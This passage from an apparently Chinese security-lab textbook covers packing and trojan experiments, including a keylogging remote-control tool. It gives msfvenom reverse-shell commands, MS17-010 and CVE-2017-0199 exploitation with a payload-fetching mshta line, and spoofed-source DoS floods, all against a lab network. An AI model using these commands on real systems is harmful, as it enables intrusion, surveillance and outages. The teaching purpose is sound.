页面内容编辑界面 ⑤ 实验将应答页面的导航栏部分修改为“This is a test”,回到Flow Details窗口,输入“a”或“A”,将修改后的应答转发给靶机。在靶机上会发现返回的页面内容已经被篡改,如图562所示。 图562Web欺骗前后页面对比 【实验探究】 (1) 尝试使用指定IP地址和端口号执行mitmproxy。 (2) 学习mitmproxy的拦截规则语法,尝试拦截两个不同站点的请求和应答。 5.3恶意代码攻击 5.3.1实验原理 恶意代码指经过存储介质和网络进行传播,从一台计算机系统传播到另外一台计算机系统,未经授权认证破坏计算机系统完整性的程序或代码。它包括计算机病毒(Computer Virus)、蠕虫(Worms)、特洛伊木马(Trojan Horse)、逻辑炸弹(Logic Bombs)、系统后门(Backdoor)、Rootkit、恶意脚本(Malicious Scripts)等。它有两个显著的特点: 非授权性和破坏性。恶意代码的主要功能一般包括远程控制、进程控制、键盘记录、网络监听、信息窃取、设备控制等。 恶意代码的攻击过程大致分为入侵系统、提升权限、隐蔽自己、实施攻击等几个过程。一段成功的恶意代码必须首先具有良好的隐蔽性和生存性,不能轻易被防御工具察觉,然后才是良好的攻击能力。生存技术是一种使恶意代码在执行前可以有效躲避安全软件的扫描和检测的手段,主要包括反调试、压缩技术、加密技术、多态技术(Polymorphism)和变形技术(Metamorphism)等。而隐蔽技术是为正在运行的恶意代码提供隐藏技术,防止被安全人员发现,攻击者针对这些常见的需求开发的隐蔽技术包括进程注入、三线程、端口复用、端口反向连接和文件隐藏技术等。 5.3.2实验目的 ① 了解恶意代码的分类(病毒、蠕虫、木马、逻辑炸弹等)及其特点。 ② 掌握恶意代码的生存技术和隐蔽技术的实现方法。 ③ 掌握恶意代码的主要功能,提高恶意代码防范意识。 5.3.3实验内容 ① 学习应用upx工具对恶意代码加壳,应用PEiD工具对加壳后的恶意代码进行查壳。 ② 学习应用msfvenom工具生成恶意代码的多态指令。 ③ 学习应用msfvenom工具生成正向连接和反向连接的恶意代码。 ④ 学习应用上兴远程控制工具,掌握恶意代码的主要功能。 ⑤ 学习应用Metaslpoit平台的exploit/multi/handler模块反向连接远程主机。 5.3.4实验环境 ① 操作系统: Kali Linux v3.30.1(192.168.57.128)、Ubuntu v18.10(192.168.57.133)、Windows 7 SP1旗舰版(192.168.57.129)和Windows XP v2003 SP2 (192.168.57.130)。 ② 工具软件: upx v3.95、PEid v0.95、Metaslpoit v5.0.10和上兴远程控制v2014。 5.3.5实验步骤 1. 应用upx和PEiD工具进行加壳和查壳 压缩加壳技术指利用特殊算法对可执行文件里的资源进行压缩,压缩后的文件可以独立运行,解压过程在内存中完成。壳附加在原始程序上通过加载器载入内存后,先于原始程序执行并得到控制权,在壳的执行过程中对原始程序进行解压、还原,还原完成后再把控制权交还给原始程序,执行原来的代码。加上外壳后,原始程序代码在磁盘文件中以压缩数据形式存在,只在外壳执行时在内存中将原始程序解压并运行,这样有效地防止程序被静态反编译。 压缩加壳技术的代表性工具是upx,其命令格式如下。 upx [-123456789dlthVL] [-qvfk] [-o file] file 使用命令“upx h”会列出详细的参数使用方法,如图563所示,数字1~9表示加壳速度和加壳质量的要求,“1”表示加壳速度最快,“9”表示加壳的压缩比最高。“d”表示解压,“o file”指明加壳后的文件名,“v”显示详细的加壳过程和结果。 图563upx参数说明 ① 应用upx对pwdump工具进行加壳操作,输入命令如下。 upx -5 -v -o test.exe pwdump7.exe 表示对文件pwdump7.exe加壳,权衡压缩比和压缩速度,加壳输出的文件名是test.exe,加壳时显示详细过程和结果,如图564所示。加壳后的test.exe文件大小由原来的77824字节压缩成36864字节,压缩率为47.37%,并且与pwdump7.exe功能相同。 图564upx加壳示例 ② 检测恶意代码是否已加壳。PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,数量已超过470 种PE文档的加壳类型和签名。实验使用PEiD对test.exe进行查壳,结果如图565所示,显示程序已被加壳,加壳方式为“UPX 0.89.6 1.02 / 1.05 2.90 > Markus & Laszlo”,即该程序使用upx 工具进行加壳。 图565PEiD检测代码是否加壳示例 【实验探究】 (1) 尝试使用“d”选项对test.exe进行脱壳操作,检查脱壳后的代码与原始程序是否完全一致。 (2) 使用PEiD工具比较加壳前后代码的差异,分析upx加壳的基本原理。 2. 应用msfvenom工具生成多态代码 恶意代码的生存技术除了压缩加壳,还有多态指令生成等方式。多态变换俗称花指令或模糊变换,即用不同的方式实现同样功能的代码,主要有指令替换、寄存器变换、指令压缩、指令扩展、垃圾指令等方法。实验使用Metasploit平台提供的msfvenom工具,msfvenom工具是msfpayload和msfencode的结合体,它可以对原始代码的解密代码部分展开多态变换,从而提高代码的生存率。 目前,msfvenom提供了不同平台的垃圾指令生成器(NOPS),如x86/opty2和x86/single,不同平台的多态指令生成器(Encoders),如x86/call4_dword_xor和x86/shikata_ga_nai,攻击者可以组合多种不同的生成器产生多态代码。 msfvenom的常用命令参数及含义如下。 p, payload: 指定有效载荷,即执行具体功能的恶意代码; f, format: 指定输出的多态代码格式,如C代码,elf格式和 exe格式等; e, encoder: 指定多态指令生成器; n, nopsled: 指定垃圾指令生成器产生的垃圾代码长度; o, out: 指定生成的多态代码文件名称。 实验使用“x86/call4_dword_xor”指令生成器对Metasploit平台提供的恶意代码“linux/x86/shell/bind_tcp”进行多态变换,增加100字节的垃圾指令,最后生成C代码格式的多态代码。该代码的功能是在指定端口开启TCP服务,提供远程访问,只能运行在Linux/x86系统。 输入命令如下,变换结果如图566所示。 msfvenom -p linux/x86/shell/bind_tcp -e x86/call4_dword_xor -n 100 -f c 图566msfvenom多态变换示例 如果不使用任何的多态变换方法,也可以仅对恶意代码进行格式变换,例如把原始二进制格式变成C代码格式,如图567所示。 图567msfvenom格式变换示例 【实验探究】 (1) 尝试将恶意代码多态变换为Windows平台的EXE可执行文件格式,检测在Windows平台的执行效果。 (2) 尝试将恶意代码直接转换为Linux平台的ELF可执行文件格式,检测在Linux系统的执行效果。 3. 应用上兴远程控制工具掌握恶意代码的主要功能 恶意代码的功能一般包括远程控制、进程控制、键盘记录、网络监听、信息窃取、设备控制等。实验以远程控制工具上兴远程控制 http://98exe.com,与灰鸽子木马类似的工具。(2014版)为例,说明恶意代码的主要功能。实验过程如下。 ① 生成恶意代码服务端程序,即在目标主机上运行的恶意代码。如图568所示,首先在顶部菜单栏单击“生成”按钮,会弹出“配置远程服务端”窗口,设置攻击主机的IP地址192.168.57.129和默认端口8010 如需控制外网主机,可以使用动态域名解析方式,自行申请免费域名。。当恶意代码在目标主机上运行时,它会自动连接攻击主机192.168.57.129的8010端口,等待接收攻击主机的控制指令。接着可以选取插入IE、插入系统进程和加外壳等隐蔽方式,选取“服务启动”和“注册表启动”等运行方式,然后单击“生成服务端”按钮即可生成服务端程序。 图568上兴远程控制生成服务端示例 ② 将生成的服务端程序复制至靶机并执行,正常情况下,主界面左边列表框会显示有主机上线,并指明上线主机的IP地址,如图569所示,右边列表框会显示上线主机的具体信息。选中该主机所属列表项,单击鼠标右键,可以在弹出菜单中查看主要功能,包括“文件管理”“远程屏幕”“视频管理”“声音管理”“系统管理”“命令管理”等。 图569上兴远程控制主要功能 ③ 测试文件管理功能。如图570所示,在顶部菜单栏单击“文件管理”按钮,进入“文件管理”功能界面,可以对靶机的文件进行增、删、改、查等操作。还可以将靶机的文件下载至攻击主机,在远程电脑窗口中选中文件,并且拖到“我的电脑”窗口的相关目录下即可。 图570上兴远程控制文件管理示例 ④ 测试屏幕监控功能。如图571所示,在顶部菜单栏单击“屏幕监控“按钮,可以实时查看靶机的屏幕,甚至可以直接操作靶机的鼠标和键盘。选中“选项”选项卡,可以调整监控画面的质量,也可以选择对靶机进行黑屏、锁键盘鼠标等操作。 图571上兴远程控制远程屏幕示例 ⑤ 测试系统管理功能。在顶部选项卡列表选中“系统管理”选项卡,可以对靶机进行系统管理操作,包括系统信息、进程管理、服务管理、注册表管理、窗口查看、软件管理、键盘记录以及截获数据包等操作。查看靶机的系统信息,包括当前用户、CPU频率、硬盘容量、操作系统版本以及主机名等,如图572所示。 图572上兴远程控制的系统管理示例 ⑥ 查看目标系统的服务列表,可以执行停止服务、禁用服务、新建服务、卸载服务等操作,如图573所示。 图573上兴远程控制的服务管理示例 ⑦ 查看靶机上安装的软件信息,可以随意卸载,如图574所示。 图574上兴远程控制的软件管理示例 ⑧ 测试键盘记录功能,如图575所示,从顶部选项卡列表中选中“键盘记录”选项卡,打开“键盘记录”窗口,单击“开始记录”按钮,在靶机中输入“this is a test.”,然后单击“查看记录”按钮即可查看刚才在靶机中输入的详细信息。 图575上兴远程控制的键盘记录示例 【思考问题】 (1) 上兴远程控制如何实现靶机自动上线? (2) 上兴远程控制如何接收命令并返回结果?请使用Wireshark抓取报文进行分析。 【实验探究】 尝试使用上兴远程控制的其他功能。 4. 应用exploit/multi/handler模块反向连接远程主机 恶意代码反向连接指靶机直接向攻击机发起连接,而不是由攻击机主动向靶机发起连接。它的好处在于可以避开靶机上运行的个人防火墙,同时方便攻击者管理靶机。必须在恶意代码中预先指定攻击主机的IP地址和端口号,恶意代码执行时直接向相应的IP地址和端口发起连接即可。 实验使用msfvenom分别生成Linux平台和Windows平台的反向连接恶意代码,并使用Metasploit平台的exploit/multi/handler模块作为攻击程序,然后设置攻击载荷、攻击主机IP、监听端口号,接着等待接收恶意代码的连接请求,进而实施对靶机的远程控制。 ① 使用Linux平台攻击载荷linux/x86/shell/reverse_tcp,直接转换为Linux平台可执行代码shell_2,如图576所示,命令如下。 msfvenom -p linux/x86/shell/reverse_tcp lhost=192.168.57.128 lport=2020 -f elf -o shell_2 “lhost=192.168.57.128”和“lport=2020”指明攻击主机的IP和端口,当恶意代码执行时,会主动连接192.168.57.128的2020端口,“f elf”指生成Linux平台的可执行文件。 图576msfvenom生成Linux平台下反向连接的恶意代码示例 ② 执行Metaploit平台的命令行控制端msfconsole程序,首先输入use exploit/mutli/handler,选择使用exploit/multi/handler模块,接着输入set payload linux/x86/shell/reverse_tcp设置攻击载荷,然后输入set lhost 192.168.57.128设置攻击主机IP,接着输入set lport 2020设置监听端口号 这里设置的3个参数与msfvenom命令中的对应参数必须相同。,最后输入exploit命令运行该模块开启服务,等待接收恶意代码的连接请求,如图577所示。 图577exploit/multi/handler模块的设置和应用示例 ③ 在靶机192.168.57.133上修改shell_2的权限并执行,如图578所示,shell_2会主动向192.168.57.128的2020端口发起连接请求。连接建立后,exploit/multi/handler模块会打开一个命令行控制台的会话,实现对靶机的远程控制,如图577所示。输入id命令,会显示当前用户信息,输入mkdir test命令,靶机会新建test目录。 图578Linux修改文件权限并执行 ④ 查看当前的网络连接状态,发现靶机与攻击主机的2020端口处于连接建立状态,如图579所示。 图579靶机与攻击主机的连接建立示例 【思考问题】 为什么生成正向连接恶意代码时不需要设置lhost和lport,而反向连接却需要? 【实验探究】 (1) 尝试使用恶意代码正向连接并查看TCP连接状态,比较与恶意代码反向连接有何不同? (2) 尝试在生成反向连接恶意代码时为恶意代码进行多态变换。 (3) 尝试使用Windows平台的攻击载荷生成反向连接恶意代码,在Windows平台执行后,检查是否能够反向连接到攻击主机。 5.4漏 洞 破 解 5.4.1实验原理 漏洞破解是指利用硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,编写利用该缺陷的破解代码和破解工具,实施远程攻击目标系统或目标网络,这是最主流的主动攻击方式。由于人工编写程序时无法保证程序完全正确,因此安全漏洞无法避免。最新发现的漏洞称为零日(Zero Day)漏洞,攻击者如果在安全厂商发布安全补丁之前开发出破解程序,就可以轻松攻击存在漏洞的远程目标。 攻击者通常利用漏洞扫描方法远程发现漏洞,然后利用破解工具或破解程序(称为Exploit)利用该漏洞实施攻击。攻击者发起攻击的目的通常是为了获得系统访问权限,编写Exploit最重要的是将可修改的地址指向一段预先构造好的代码,常称为Shellcode。当Shellcode运行后,可以得到具有一定访问权限的远程访问的命令行界面(shell)。如果存在漏洞的程序是以管理员身份运行,那么攻击者获得的命令行界面也同样拥有管理员权限,从而可以控制远程系统。 Metasploit是目前最具代表性的漏洞攻击平台,其拥有强大的功能和扩展模块,支持生成多态Payload。它的开源性使得攻击者可以自由进行二次开发,而且集成了不少端口扫描和漏洞扫描工具,同时集成了上千种已知漏洞的Exploit,使得攻击者可以轻易实施远程攻击。Metasploit包括控制终端、命令行和图形化界面等接口。模块是由Metasploit框架所装载、集成并对外提供的渗透测试代码,包括渗透攻击模块(Exploit)、后渗透攻击模块(Post)、攻击载荷模块(Payload)、编码器模块(Encoder)、空指令模块(Nop)和辅助模块(Aux)等模块。Metasploit平台各模块基本功能如表51所示。 表51Metasploit平台各模块基本功能 模块 功能 模块 功能 TOOLS 集成了各种实用工具 Console 控制台用户界面 PLUGINS 集成的其他软件作为插件,但只能 在Console模式下工作 Web 网页界面,目前已不再支持 MODULES 包括Payload、Exploit、 Encoder、Nop和Aux等 Exploit 破解程序集合,不含Payload的话是一个Aux 续表 模块 功能 模块 功能 MSF Core 提供基本的API和框架,负责 将各个子系统集成在一起 Payload 针对各种操作系统,功能各异的攻击载荷 MSF Base 提供扩展和易用的API以供外部调用 Nop 各种填充指令模块 Rex 包含各种库,是类、方法和模块的集合 Aux 各种攻击辅助程序 CLI 命令行界面 Encoder 各种多态变换引擎 GUI 图形用户界面 Metasploit平台对有关概念的定义如下。 Exploit: 漏洞攻击模块,在msfconsole控制台输入命令exploit指执行Exploit进行漏洞攻击的动作; Payload: 攻击载荷,指攻击成功后在目标系统执行的代码或指令,主要目的是返回一个控制通道,使得攻击者可以实现各种远程控制功能; Shellcode: 是Payload的一种,包括正向Shellcode、反向Shellcode和Meterpreter; Meterpreter: 一种功能极其强大的Payload,在设置攻击载荷时一般会选择使用Meterpreter; 在msfconsole控制台中经常使用的命令及基本含义如表52所示。 表52msfconsole常用命令及基本含义 命令 基 本 含 义 命令 基 本 含 义 search 根据名字模糊搜索平台集成的各种模块 help/? 列出可用命令列表 use 根据指定名字利用某个具体模块 cd 切换当前工作目录 show options 查看模块的参数选项信息 reload 重新装载模块 info 显示模块的具体信息 save 保存当前设置 set 设置模块的各种参数值 makerc 把输入的全部命令保存为资源文件 back 从模块中返回 resource rc 装载并执行某个资源文件中的全部命令 exit 退出系统 setg 设置某个全局变量的值 db_nmap 调用系统集成的nmap模块 version 显示当前的程序版本 5.4.2实验目的 ① 了解漏洞的含义以及常见漏洞的分类及其产生的原因。 ② 掌握漏洞破解的原理和利用方法。 ③ 应用Metasploit平台下的各个破解模块进行漏洞破解。 ④ 通过漏洞破解实验,了解漏洞的危害,同时提高各类漏洞的防范意识。 5.4.3实验内容 ① 学习应用Windows SMB服务漏洞攻击模块进行漏洞攻击。 ② 学习应用Microsoft Office Word漏洞攻击模块进行漏洞攻击。 5.4.4实验环境 ① 操作系统: Kali Linux v3.30.1(192.168.57.128)、Windows 7 SP1旗舰版(192.168.57.129)。 ② 工具软件: Metasploit v5.0.10、Microsoft Office Word 2016。 5.4.5实验步骤 1. 应用Windows SMB服务漏洞攻击模块进行漏洞攻击 Windows SMB(Server Message Block,服务信息块)是一种应用层网络传输协议,由微软开发,主要功能是使网络上的终端能够共享文件、打印机和串行端口等资源,又称网络文件共享协议。Windows SMB v1存在远程执行代码漏洞MS17_010,利用该漏洞可以在目标系统上远程执行任意代码。 实验在Metasploit控制终端msfconsole下进行,首先通过辅助模块对目标进行MS17_010漏洞扫描,接着使用攻击模块对目标进行漏洞攻击,进而获取目标主机的远程shell。具体实验步骤如下。 ① 启动Metasploit控制终端,输入msfconsole,启动成功后的界面如图580所示,可以看到目前拥有1863个渗透攻击模块、1057个辅助模块和546个攻击载荷。 图580msfconsole启动示例 ② 搜索MS17_010的有关模块。输入search ms17_010,从渗透代码库中找到所有与MS17_010漏洞有关的模块,如图581所示,结果列出许多辅助模块和攻击模块。例如辅助模块auxiliary/scanner/smb/smb_ms17_010 和攻击模块exploit/windows/smb/ms17_010_eternalblue。通常,模块路径名由模块类型、系统类型、服务类型以及漏洞名称组成。 图581ms17_010模块搜索结果示例 ③ 开启辅助模块auxiliary/scanner/smb/smb_ms17_010对目标漏洞扫描,如图582所示,输入use auxiliary/scanner/smb/smb_ms17_010命令启用辅助模块,接着输入show options命令查看该模块需要设置的参数选项 Required 为“yes”的选项是必须设置的选项。。该模块必须设置的选项包括RHOSTS(指明目标主机或网络)、RPORT(目标服务端口)以及THREADS(运行的线程数)。 图582开启辅助模块并显示选项参数示例 ④ 配置辅助模块选项。首先输入set RHOSTS 192.168.57.129,设置目标主机IP为192.168.57.129,然后输入set THREADS 30设置线程数为30,接着再次输入show options查看相关选项是否已经配置正确,最后输入exploit对目标进行扫描,如图583所示。结果显示“192.168.57.129:445 Host is likely VULNERABLE to MS17010!”,表明IP为192.168.57.129的目标主机很可能存在漏洞MS17_010。 图583设置模块参数示例 ⑤ 开启漏洞攻击模块。如图584所示,首先输入use exploit/windows/smb/ms17_010_eternalblue命令启动攻击模块exploit/windows/smb/ms17_010_eternalblue,接着输入show payloads查看该模块的所有攻击载荷。 图584开启漏洞攻击模块和检查可选参数 ⑥ 然后输入set payload命令,指定选择的攻击载荷为windows/x64/meterpreter/reverse_tcp 若不指定选择的攻击载荷,攻击模块将会根据自身情况选择合适的攻击载荷。,如图585所示,接着输入show options查看漏洞攻击模块需设置的选项,如RHOSTS、RPORT、LHOST、LPORT等,也可以查看该漏洞适用的系统类型和版本为“Windows 7 and Server 2008 R2 (x64) All Service Packs”。 图585显示攻击模块的可选攻击载荷 ⑦ 设置攻击模块参数并发起攻击。设置RHOSTS为192.168.57.129,设置LHOST为192.168.57.128,使用默认攻击端口号445和默认监听端口号4444,然后输入exploit命令发起攻击。攻击成功后,攻击主机将会获得一个来自目标主机的Meterpreter,进而获取远程shell,如图586所示,获取到目标系统的一个Meterpreter连接。 图586设置攻击模块的参数并发起攻击 ⑧ 输入help可以查看Meterpreter命令列表,输入shell命令获取远程Windows命令行控制台,接着输入systeminfo可以查看目标系统信息,如果出现乱码 默认情况Linux汉字使用UTF8编码,而Windows使用GBK编码。,输入chcp 65001设置字符集为UTF8即可解决,如图587所示。 图587获取远程shell并查看目标主机信息 【实验探究】 (1) 尝试修改RHOSTS选项参数,对某一网段下的所有主机进行漏洞扫描,并查看扫描结果如何? (2) 尝试在不设置攻击载荷的情况下,查看默认选择的攻击载荷有何不同? (3) 漏洞攻击成功后,尝试使用Meterpreter的其他命令对目标进行远程控制,如sysinfo、upload等。 2. 应用Microsoft Office Word漏洞攻击模块进行漏洞攻击 2017年4月,微软公司发布了一个Office安全漏洞,编号为CVE20170199。攻击者发送一个包含OLE对象链接附件的文件,当用户打开此文件时,其中的恶意代码会执行,并且连接到攻击者指定的服务器,然后下载一个恶意的HTML应用文件(即HTA文件),该文件会伪装成微软的RTF文档,当HTA文件自动执行后,攻击者就会获得执行任意代码的权限。实验利用该漏洞模块进行攻击。 ① 首先搜索office_word的exploit攻击模块,如图588所示,然后选择使用exploit/windows/fileformat/office_word_hta攻击模块,如图589所示,接着输入show options命令查看该攻击模块所需的选项参数。 图588Metasploit搜索模块 ② 配置有关参数,输入命令set SRVHOST 192.168.57.128设置攻击者本地IP为192.168.57.128,输入exploit开始攻击,如图590所示。 图589Metasploit选择模块并检查参数 图590配置参数并执行攻击 ③ 该模块会生成一个URL,等待目标主动发起HTTP请求。接着,生成带有OLE链接附件的恶意Word文件,输入以下命令。 python genCode.py 下载链接位于http://github.com/Ridter/。 -c "mshta http://192.168.57.128:8080/default.hta" -o test.doc 生成名为test.doc的恶意文件,其中,c参数指定嵌入在文档中执行的命令,o参数指定输出文件,如图591所示。 图591生成带有OLE链接的Word文件示例 ④ 当用户在靶机192.168.57.129上打开test.doc时,将会自动运行其中隐藏的mshta.exe程序,向指定URL发起HTTP请求,接收并执行恶意代码,如图592所示。可以看到靶机与攻击主机的4444端口建立连接并建立Meterpreter会话,进而攻击者可以对靶机进行远程控制。 图592反向连接及Meterpreter会话示例 【实验探究】 实施攻击时,使用Wireshark分析攻击机与靶机之间的通信报文,验证该漏洞模块的攻击过程。 5.5拒绝服务攻击 5.5.1实验原理 拒绝服务攻击(Denial of Service,DoS)指“一对一”的、造成目标无法正常提供服务的攻击。可以是利用TCP/IP协议的设计或实现的漏洞,称为协议攻击,如SYN洪水、泪滴攻击、死亡之Ping等; 可以是利用各种系统或服务程序的实现漏洞造成目标系统无法提供正常服务的攻击,称为逻辑攻击,即基于漏洞的DoS攻击,如早期的“红色代码”和Nimda蠕虫等; 也可以是通过各种手段消耗网络带宽及目标的CPU时间、磁盘空间、物理内存等系统资源,称为带宽攻击,如UDP洪水、Smurf攻击和Fraggle攻击等。 分布式拒绝服务攻击(Distributed Denial of Service,DDoS)指“多对一”的,针对大型服务器(如商业Web服务器或DNS服务器)的DoS攻击。DDoS使用客户/服务器(C/S)模式,攻击者通常会同时操纵多台主机向目标发起攻击,当同时发起攻击的主机数量较大时,受攻击的目标主机资源会很快耗尽,无法提供服务。DDoS攻击体系一般包含攻击者、主控端和代理端,攻击者直接控制主控端,并通过主控端间接控制代理端。因此,成功实施一次DDoS攻击,攻击者需要控制足够多的主控端和代理端,这些被控主机也称为“僵尸网络”。 5.5.2实验目的 ① 掌握带宽攻击、协议攻击和逻辑攻击的实现原理。 ② 熟练使用DoS/DDoS工具对特定目标进行带宽攻击和协议攻击。 ③ 了解拒绝服务攻击的危害,掌握DoS攻击的症状以及检测DoS攻击的主要方法。 5.5.3实验内容 ① 学习应用LOIC工具进行DoS攻击并分析报文序列。 ② 学习应用Hyenae工具进行DoS攻击并分析报文序列。 ③ 学习应用SlowHttpTest进行慢速HTTP DoS攻击并分析报文序列。 ④ 学习应用MS12020 RDP漏洞对服务器进行逻辑攻击。 5.5.4实验环境 ① 操作系统: Kali Linux v3.30.1(192.168.57.128)、Windows 7 SP1旗舰版(192.168.57.129)、Windows XP v2003 SP2(192.168.57.130)、Ubuntu v18.10(192.168.57.133)。 ② 工具软件: LOIC v1.0.8.0、Hyenae v0.361、GoldenEye v2.1、SlowHttpTest v1.6。 ③ Apache服务器: 配置域名www.test.com,IP地址192.168.57.133。 5.5.5实验步骤 1. 应用LOIC工具进行DoS攻击 低轨道离子加农炮 https://sourceforge.net/projects/loic/。(Low Orbit Ion Cannon,LOIC),是一款简单易用的跨平台DoS/DDoS攻击工具,使用C#语言编写,它可以发起TCP、UDP、HTTP洪水对目标主机进行带宽攻击,攻击方式是以无限循环方式发送大量数据。LOIC拥有图形化操作界面,实验在Windows 7平台下进行,利用LOIC对目标系统分别进行TCP、UDP、HTTP洪水攻击,具体过程如下。 ① 首先开启Wireshark,准备捕获攻击过程的报文序列。接着准备进行TCP洪水攻击,如图593所示,目标可以是URL或IP。在URL文本框中输入www.test.com,然后单击Lock on按钮,开始解析IP地址并锁定为攻击目标。解析结果显示www.test.com的IP地址为192.168.57.133。接着根据攻击需要设置相应攻击端口、协议、线程数以及攻击速度等,也可使用默认设置。实验设置攻击模式为TCP,线程数为50,最后单击IMMA CHARGIN MAH LAZER按钮开始攻击。 图593LOIC发起TCP洪水攻击 ② 开启攻击后,界面最下方会实时更新并显示已经发送的TCP请求数量,如图594所示,表示已经发送28359个TCP连接请求报文,单击Stop flooding按钮即可停止攻击。 图594LOIC停止TCP洪水攻击 ③ TCP请求洪水攻击的报文序列如图595所示,编号为8、9、10的3个报文为TCP三次握手过程,接下来攻击者发送的所有报文的TCP标记均为PSH+ACK。TCP协议规定,发送方如果发送带有PSH标志的报文,接收方将会清空接收缓冲区,并立即将数据提交给应用程序进行处理。当攻击者发送大量带有PSH标记的报文时,会使得目标消耗大量系统资源去清空接收缓冲区,从而造成拒绝服务。因此,利用LOIC发起的TCP洪水也称为PSH洪水。 图595捕获LOIC发起TCP洪水的报文序列 ④ 发起UDP洪水攻击。如图596所示,将攻击模式设置为UDP,其余攻击步骤与TCP洪水攻击相同。捕获的数据报文序列如图597所示,所有报文都是由主机192.168.57.129发送给主机192.168.57.133的80端口的UDP报文。UDP洪水攻击是指向目标主机的指定端口发送大量无用UDP报文以占满目标带宽,目标主机接收到 UDP报文时,如果相应端口并未开放,系统会生成“ICMP端口不可达”报文发送给源主机。如果攻击者短时间内向目标端口发送海量UDP报文,目标主机很可能会瘫痪。 图596LOIC发起UDP洪水攻击 图597捕获LOIC发起UDP洪水的数据包 ⑤ 发起HTTP请求洪水攻击。如图598所示,将攻击模式转换为HTTP,攻击步骤与TCP洪水攻击类似,Wireshark捕获相应报文序列,如图599所示。HTTP请求主要分为GET和POST两种,Web服务器处理这些请求时,通常需要经过解析请求、处理和执行服务端脚本、验证用户权限并多次访问数据库等操作。当攻击者向Web服务器发送海量请求时,将会消耗服务器的大量计算资源和IO访问资源,导致服务器无法处理其他合法请求。可以看到,LOIC不断地向服务器发送HTTP GET请求获取服务器的数据和资源,服务器忙于处理这些无效请求时会占用大量资源,造成无法及时响应合法用户的HTTP请求,导致拒绝服务。 图598LOIC发起HTTP洪水攻击 图599捕获LOIC发起HTTP洪水的报文序列 【思考问题】 (1) 利用LOIC发起TCP洪水为什么会建立TCP连接? (2) 利用LOIC发起HTTP请求洪水是否会建立TCP连接?为什么?请抓包分析。 【实验探究】 选择一个目标,尝试使用LOIC对其进行TCP/UDP/HTTP洪水攻击,并更改攻击速度和线程数,对比前后请求数量的变化,同时进行抓包分析。 2. 应用Hyenae工具进行DoS攻击 Hyenae https://sourceforge.net/projects/hyenae。是一款非常强大的DoS工具,支持多达15种DoS攻击类型以及ARP欺骗攻击,如图5100所示。Hyenae能够灵活指定TCP/UDP/ICMP/DHCP/ARP/DNS等协议头部参数以及控制发送速率,支持Linux和Windows平台,可以根据需要选择使用命令行工具hyenae.exe或图形界面工具hyenaeFE.exe。输入命令hyenae h可以查看各类攻击类型的选项参数,图5101给出TCP洪水攻击的参数列表。实验在Windows平台下使用图形化界面工具对目标分别进行TCP、ICMP、DNS Query等DoS攻击,具体过程如下。 图5100Hyenae攻击类型列表 图5101Hyenae TCP攻击参数说明 ① TCP SYN洪水攻击。选项配置结果如图5102所示。 Operation Mode选项设置从本地主机或者从远程的一个或多个主机发起攻击; Network Interface选项可选择从哪个网卡发出攻击报文; Network Protocol选项可选择IP协议版本以及发送的报文类型,如ICMP、TCP、UDP等,IP协议可选IPv4和IPv6; Send Parameters选项可设置数据包的发送速率,默认为最大速率发送; TCP Packets选项可以设置源和目的MAC、IP和端口号以及TCP标志,设置格式为: MACIP@PORT。 图5102SYN洪水攻击的选项配置示例 实验设置攻击主机模式为“%%@1000”,目标主机模式为“%192.168.57.133@80”(%表示任意),即产生随机MAC地址和随机IP地址的攻击主机,源端口为1000,向IP地址为192.168.57.133的主机的80端口发送TCP报文。攻击报文可以选择不同的TCP标志组合,实验选择SYN标志,另外,还可以设置TTL、TCP Window Size以及Packet Payload等报文选项。 ② 在所有配置完成后,单击Execute按钮即可发起攻击,底部Command Line Usage文本框会显示实时的攻击信息,仅用8.486s就发送了16489个TCP 连接请求数据包。Wireshark捕获的报文序列如图5103所示。SYN洪水攻击利用TCP协议的设计缺陷,发送大量伪造的TCP连接请求,耗尽目标主机用于处理三路握手的内存资源,从而停止TCP服务。 图5103捕获的SYN洪水数据包 ③ ICMP Echo请求洪水攻击。ICMP洪水攻击可以分为直接洪水攻击、伪造IP源攻击和Smurf攻击。 直接洪水攻击指攻击者使用真实IP对目标进行攻击,这种攻击方式容易暴露自身的IP地址,且要求攻击主机处理能力和带宽要大于目标主机; 伪造IP源攻击指攻击者使用伪造的IP地址对目标进行攻击,攻击方式较为隐蔽,攻击者伪造源地址向目标发送大量的ICMP Echo请求报文,导致目标发送大量ICMP Echo应答报文给伪造源地址,从而消耗目标带宽资源; Smurf攻击指攻击者伪造并发送大量源IP地址为受害主机,目标地址为广播地址的ICMP Echo请求报文,当网络中的每台主机接收到该报文时,都会向受害主机的IP地址发送ICMP Echo应答报文,使得受害主机短时间内收到大量ICMP报文,导致其带宽被消耗殆尽。 ICMP Echo请求洪水攻击的选项配置结果如图5104所示,使用伪造源地址对目标进行ICMP Echo请求洪水攻击,在30s内发送了50175个ICMP Echo请求报文。Wireshark捕获的攻击过程报文序列如图5105所示,部分报文显示“no response found” 若目标防火墙开启ICMP报文过滤功能,Wireshark抓包也会产生“no response found”这类信息。,表示没有捕获到目标发送的ICMP Echo应答报文,这说明目标主机已经无法及时发送所有的ICMP Echo应答。 图5104ICMPEcho洪水的选项配置界面 图5105捕获的ICMPEcho洪水数据包 ④ DNSQuery洪水攻击。DNSQuery洪水攻击指攻击者对目标DNS服务器发起海量的域名解析请求,为了避免与DNS服务器缓存中的记录相同,会为每个请求生成不同的域名查询,进而给DNS服务器带来很大负载,当单位时间的域名解析请求超过阈值就会导致目标服务器无法及时解析正常用户的查询请求。DNSQuery洪水攻击的配置结果如图5106所示,表示利用IP为2.2.2.2的伪造地址对目标IP为114.114.114.114的DNS服务器进行www.baidu.com和www.taobao.com的域名查询请求,捕获的报文序列如图5107所示。 图5106DNSQuery洪水攻击的配置界面 图5107捕获的DNSQuery洪水攻击数据包 【思考问题】 SYN洪水攻击与TCP连接攻击有何区别? 【实验探究】 (1) 尝试使用组合的TCP flag实现PSH+ACK/SYN+ACK洪水攻击。 (2) 尝试配置ICMP Echo Packets的源和目标Pattern实现Smurf攻击。 (3) 尝试使用hyenae.exe命令行工具进行DoS攻击实验。 3. 应用SlowHttpTest进行慢速HTTP DoS攻击 SlowHttpTest https://github.com/shekyan/slowhttptest。是一款支持灵活配置的HTTP协议攻击工具,它能实现在较低速率下DoS攻击目标Web服务器,支持Slow Header、Slow Body、Slow Read等攻击模式。SlowHttpTest主要利用HTTP协议的一个特点,即Web服务器必须接收完整的HTTP报文后才会对报文进行处理。如果一个HTTP请求不完整,服务器会一直为该请求保留资源直到它传输完毕,当服务器有太多的资源都处于等待状态时,就出现了DoS。 实验在Kali 